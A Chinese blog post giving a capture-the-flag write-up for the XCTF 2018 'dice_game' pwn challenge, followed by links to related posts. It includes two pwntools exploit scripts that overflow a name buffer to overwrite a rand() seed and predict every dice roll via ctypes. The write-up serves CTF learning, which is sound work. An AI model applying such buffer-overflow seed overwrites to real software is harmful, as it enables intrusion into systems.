dice_game

XCTF 4th-QCTF-2018

前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。

考察的知识点是:

1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。

2.关于srand函数中种子的介绍。

3.一些平时没有见过的杂项

保证我写的很详细,因为我也是个菜鸡

----第一步查看保护喽



第一眼就很恐怖嗷,居然就只有canary没有开,其他的全开,got表也不能修改,我就很痛苦嗷

----第二步ida看看



main函数这里要说的呢

1.这里设置了种子,并且应该注意地址在rbp-10h

2.这里v6是read函数的返回值,返回数值呢

3.注意看什么时候设置截止符'\x00'



函数名字以及备注是我看错的地方,我以为这个函数是爆破点的,另外我就把这个函数里面其他的东西解释解释吧:

%hd是读入短整型整数,与long int 相对

_assert_fail,assert是宏,这是设置一个出现错误时候应该输出的,我一开始以为这个东西是值得爆破的地方呢。

负责输出的函数,那么我这里记录一下我的思路:

1.可以直接修改v8的数值到50,直接获得flag

2.每次把v2直接暴露出来赋值给v1

3.负责破坏跳转直接跳转到暴露的地方。

那么这里三种方法其实都是不行的,与答案有点相关的是第二个方法,这里我主要介绍一下srand函数seed,以及rand函数吧。


seed是种子,负责伪随机数列,srand是设置种子的函数,rand函数呢是取伪随机数列。依次对于数列里面的数值去取,详细的我就不说了。

那么这里我们只要获得seed我们就可以知道每一次应该输入的v1数值。

保证我们每次猜,每次对。


另外想要解释的是:ctypes这个py库

说实话这个库我看文档是完全没有看懂的,这里看了别人写的博客,我把博客地址黏贴到这里了(更好的博客园)

https://www.cnblogs.com/gaowengang/p/7919219.html

ctypes是负责在py里面使用c语言的函数,因为这里我们必然要在exp写rand以及srand,所以就要加载相应的库。

加载进去库之后,要使用相应的函数还要使用对应的函数,Linux下就是:

cdll.LoadLibrary()

-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")

这里要使用就这个样子了.

所以我就先贴上exp了。

from pwn import *

from ctypes import *

p=process('./dice_game')

libc=cdll.LoadLibrary("libc.so.6")

payload= 'a'*0x40+p64(0)

p.recvuntil("Welcome, let me know your name: ")

p.sendline(payload)
a=[]
for i in range(50):
a.append(str(libc.rand()%6+1))
print a
for i in a:
p.recv()
p.sendline(i)
p.interactive()

这里exp写了两种

from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
a=str(libc.rand()%6+1)
p.recvuntil("Give me the point(1~6): ")
p.sendline(a)
p.interactive()

大家伙可以看看这里两种有什么区别。(好吧估计也没人看我写的博客,也就自己看看吧)

我先介绍一下这里exp吧

都是覆盖到seed那里,然后随便改一个数值修改seed,但是恰好是这里,让我博客打了一半有了新的发现。

这里你如果覆盖成seed为0,1的话,其实他这里生成的数组a是相同的元素,我记得srand默认参数是1,然而这里第一个exp的话是没有后面再次更改srand()的值,直接使用了默认,因为这个人覆盖的这里也是0,但是我其实是不推荐这种做法的。

对于第二个exp,这里还是使用了libc.srand(0)因此比第一种更好点。

------------------麦林pwn手

如果觉得CSDN越来越拉,并且在CSDN写博客是一件很拉的事情,麻烦点个赞再走。

dice_game攻防世界进阶区的更多相关文章

  1. 攻防世界进阶区MISC ——56-60

    56.low 得到一张bmp,世纪之吻,扔进kali中,binwalk,zsteg,无果,再放进stegsolve中,虽然发现小的数据块,但是过滤通道得不到任何信息,猜测是要用脚本进行 # lsb隐写 ...

  2. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  3. pwn篇:攻防世界进阶welpwn,LibcSearcher使用

    攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. 攻防世界-进阶-[re1-100]

    一.收集程序信息 64位的ELF文件,没有壳 二.放入IDA 使用64位IDA打开文件,先进行静态分析查看伪代码,进入main函数 通过这段可以得知输入的内容存储到了input中(这里我将bufwri ...

  6. 进阶区forgotg攻防世界

    攻防世界进阶区--forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西. 但是就是中看不中用 3.ida ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

  9. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

随机推荐

  1. GridView控件使用

    增加显示列gridView.Columns.AddVisible("AgentName", "姓名");设置是否为只读gridView1.OptionsBeha ...

  2. c# List集合类常用操作:二、增加

    所有操作基于以下类 class Employees { public int Id { get; set; } public string Name { get; set; } public stri ...

  3. JDBC基础和使用

    内存泄漏意思就是内存越来越少了,因为垃圾太多: 线程泄露就是线程池中线程越来越少,执行过程中异常,没有返回给线程池,线程池中线程越来越少: 一.概念 二.快速入门 三.JDBC各个类详解 1.driv ...

  4. Nginx优化与防盗链

    目录: 一.隐藏版本号 二.修改用户与组 三.缓存时间 四.日志切割 五.连接超时 六.更改进程数 七.配置网页压缩 一.隐藏版本号 可以使用 Fiddler 工具抓取数据包,查看 Nginx版本 也 ...

  5. python中安装第三方库(使用豆瓣的镜像网站快速安装)

    #安装第三方库#标准库,第三方库#pip install selenium 直接从官网进行安装,有时网速会有点慢#可以去国内的镜像站安装#pip install selenium -i https:/ ...

  6. 使用metaweblog API实现通用博客发布 之 API测试

    使用metaweblog API实现通用博客发布 之 API测试 使用博客比较少,一则是文笔有限,怕写出的东西狗屁不通,有碍观瞻, 二则是懒,很讨厌要登录到网站上写东西,也没有那么多时间(借口).个人 ...

  7. 微信小程序函数间传递url的参数丢失问题

    可以使用encodeURIComponent():函数可把字符串作为 URI 组件进行编码. 可以使用decodeURIComponent():函数可把字符串作为 URI 组件进行解码.  

  8. Groovy系列(5)- Groovy IO操作

    IO操作 Groovy为I/O操作提供了许多帮助方法,虽然你可以在Groovy中用标准Java代码来实现I/O操作,不过Groovy提供了大量的方便的方式来操作File.Stream.Reader等等 ...

  9. greedy algorithm, insertion sort, quick sort

    always makes the choice that seems to be the best at that moment. Example #1: @function:  scheduling ...

  10. python二级 之 第 五套

    1. 这里要注意输入的   就是列表 .                 [1,2,3] 2. 就是你要明白   random.seed()  产生随机种子# 与random.randint()  取 ...